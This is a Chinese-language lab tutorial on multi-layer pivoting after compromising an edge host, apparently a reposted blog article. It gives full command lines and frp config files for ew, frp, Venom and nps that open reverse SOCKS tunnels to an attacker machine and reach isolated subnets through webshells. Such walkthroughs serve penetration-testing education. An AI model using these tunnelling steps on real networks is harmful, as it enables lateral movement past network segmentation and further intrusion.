内网渗透 | 内网穿透之多层代理
2021-10-09 10:16:36 Author: mp.weixin.qq.com(查看原文) 阅读量:23 收藏

前言

平时看大部分文章都是讲的两层网络的穿透,在真实场景下,有时候是三层甚至四层,自己实践之后发现还是和两层网络差距比较大的。由于是三层网络,写起来图会比较多,选取了四款常用穿透软件:ew,nps,frp,venom进行试验。

环境搭建

拓扑图如下:

192.168.1.0/24模拟公网环境。

每台PC上都有一个web服务,内网主机除边缘win7外全部不出网,内网同网段之间的主机可以相互访问,不同网段相互隔离。

假设现在已经拿到边缘主机win7。(文中所指的win2012全部指左边这台)

由于环境中途崩了一次,从Venom开始ip有所变化,请见谅。

ew

先看下出不出网,ping一下win7发现是出网的,这种就可以使用反向连接。

将ew上传至边缘机器。

在攻击机上执行:

ew_for_Win.exe -s rcsocks -l 1080 -e 1234

在边缘机器上执行:

ew_for_Win.exe -s rssocks -d 192.168.1.104 -e 1234

这时候回来看攻击机,就已经成功了。

给浏览器设置一个代理,即可访问内网web。

经过一系列操作,我们又写入了一个shell。同样这里需要开启蚁剑代理。

查看192.168.183.134这台主机是否出网,结果是不出网。

由于需要执行命令,我们得保证一级代理不能掉。所以这里我用了两个webshell工具,蚁剑和冰蝎。

蚁剑关闭代理,冰蝎开启sock5代理1080端口,冰蝎去连192.168.183.134这台不出网主机,蚁剑连接边缘机器192.168.1.110

攻击机另起一个cmd,执行命令:

ew_for_Win.exe -s lcx_listen -l 3080 -e 8888

注意这里的端口不要和刚刚1080端口重合。

不出网主机win2012执行命令:

ew_for_Win.exe -s ssocksd -l 9999

这里没回显是正常的,但要保证一级代理不能掉。

再通过边缘机器打通192.168.1.110:8888 和 192.168.183.134:9999 之间的通讯隧道

ew_for_Win.exe -s lcx_slave -d 192.168.1.104 -e 8888 -f 192.168.183.134 -g 9999

这里同样的浏览器再挂个代理就可以了。

再拿webshell工具去连的话就另外再挂个3080代理就行了。

frp

攻击机配置frps.ini文件

[common]bind_port = 7000

边缘机器配置frpc.ini

[common]server_addr = 192.168.1.104server_port = 7000[http_proxy]type = tcpplugin=socks5remote_port = 6000

攻击机执行命令

frps.exe -c frps.ini

边缘机器执行命令

frpc.exe c frpc.ini

浏览器挂代理访问6000端口即可

拿到win2012的webshell权限后,准备进一步代理到192.168.57.0/24。一级代理不要掉。

攻击机配置frps.ini

[common]bind_addr = 0.0.0.0bind_port = 7788

边缘主机win7配置frps.ini

[common]bind_addr = 192.168.183.131  bind_port = 7799

同时配置win7主机上frpc.ini

[common]server_addr = 192.168.1.104 server_port = 7788  [http_proxy]type = tcplocal_ip = 192.168.183.131  local_port = 1080    remote_port = 1080  

同样上传frp到win2012上,配置frpc.ini

[common]server_addr = 192.168.183.131 server_port = 7799        [http_proxy]type = tcpremote_port = 1080 plugin = socks5

执行frpc.exe ‐c frpc.ini,这里都是没什么回显。

设置代理1080

同样的写入shell之后webshell工具连接挂个代理就行了。

Venom

此时ip发生变化:

win7:192.168.183.138 192.168.1.109win2012:192.168.183.139 192.168.57.136核心机器win2012:192.168.57.137

攻击机上执行

admin.exe -lport 9999

边缘主机win7上执行

agent.exe -rhost 192.168.1.104 -rport 9999

回到攻击机器上就已经有了连接。

然后执行命令,将流量代理到7777端口

goto 1socks 7777

这时win2012就可以访问了

通过冰蝎走代理,将agent.exe上传至win2012。

在攻击机上让节点一进行监听,也就是在边缘机器win7上等待win2012连接。

在win2012上执行命令连接win7:

agent.exe -rhost 192.168.183.138 -rport 9998

这时在攻击机上使用show命令,查看节点,就可以发现已经有两个节点,选择节点2,并socks代理到本机9998端口。

Nps

这个工具我还是第一次用,由于有图形化界面,感觉这个工具还比较好用,不像frp要去目标机器配置文件,也比ew更加稳定。

首先去官网下载nps和npc:https://github.com/ehang-io/nps/releases

这里我都是windows64位,下载这两个就可以了。

直接执行nps.exe(要注意端口,被占用了就修改conf文件)

然后访问127.0.0.1:8080,如果是vps上起的话就访问vps:8080,默认密码admin/123。登录后点击右侧客户端,然后新增:

这里可填可不填,留空的话会自动生成密匙,等会拿这个密匙来让边缘主机win7连接攻击机器。

这里ID和密匙等会要用。

点击右侧socks代理,新增。ID为上面的id,端口填一个没有被占用的端口就好了,保存后server就配置完毕了。

将npc上传至边缘机器win7,并执行命令:

npc.exe -server=ip:port -vkey=服务端生成的key

这里的port默认是8024,如果修改过nps.conf中的端口就是修改过后的端口,key就是上面服务端的密钥。

执行后可以看到连接已经变成在线,这时候就已经代理好了。

浏览器挂个代理或者用Proxifier都是可以的,前面因为一直都是用的浏览器这里还是用下Proxifier。

新增代理规则如下

做二层代理时候想了很久,翻遍全网都没有一个案例,我的想法是kali上去开一个nps服务端,然后msf添加路由,这是一种方式。

还有就是3389远程去连边缘主机win7,但是这样操作太敏感了。官方文档有如下这样的说明,但是没找到参数怎么用,这里就用3389勉强试一下,希望有懂的表哥指点。初次体验nps感觉不是很好,如果是只做一层代理还是可以。

经过一系列代理操作还是在win7边缘主机访问到win2012核心机器

总结

个人觉得Venom是对新手最友好的,并且多层代理还比较方便,两层三层都比较容易上手,然后就是nps,有图形化界面还是不错的。frp比较稳定,但是要配置ini文件比较麻烦。ew稳定性又差一点。总的来说就是各有所长吧,在真实环境中要根据不同的情况使用不同的方案。

阅读推荐

点赞    在看    评论


文章来源: http://mp.weixin.qq.com/s?__biz=MzI5MDU1NDk2MA==&mid=2247500597&idx=1&sn=19fc81b36da44ac13ae3a37aac6bb12d&chksm=ec1c960adb6b1f1cc23e7fc404c5f5fbd77d68bc3a8c1476b525e365a2a5a184a3016a7b8a65#rd
如有侵权请联系:admin#unsafe.sh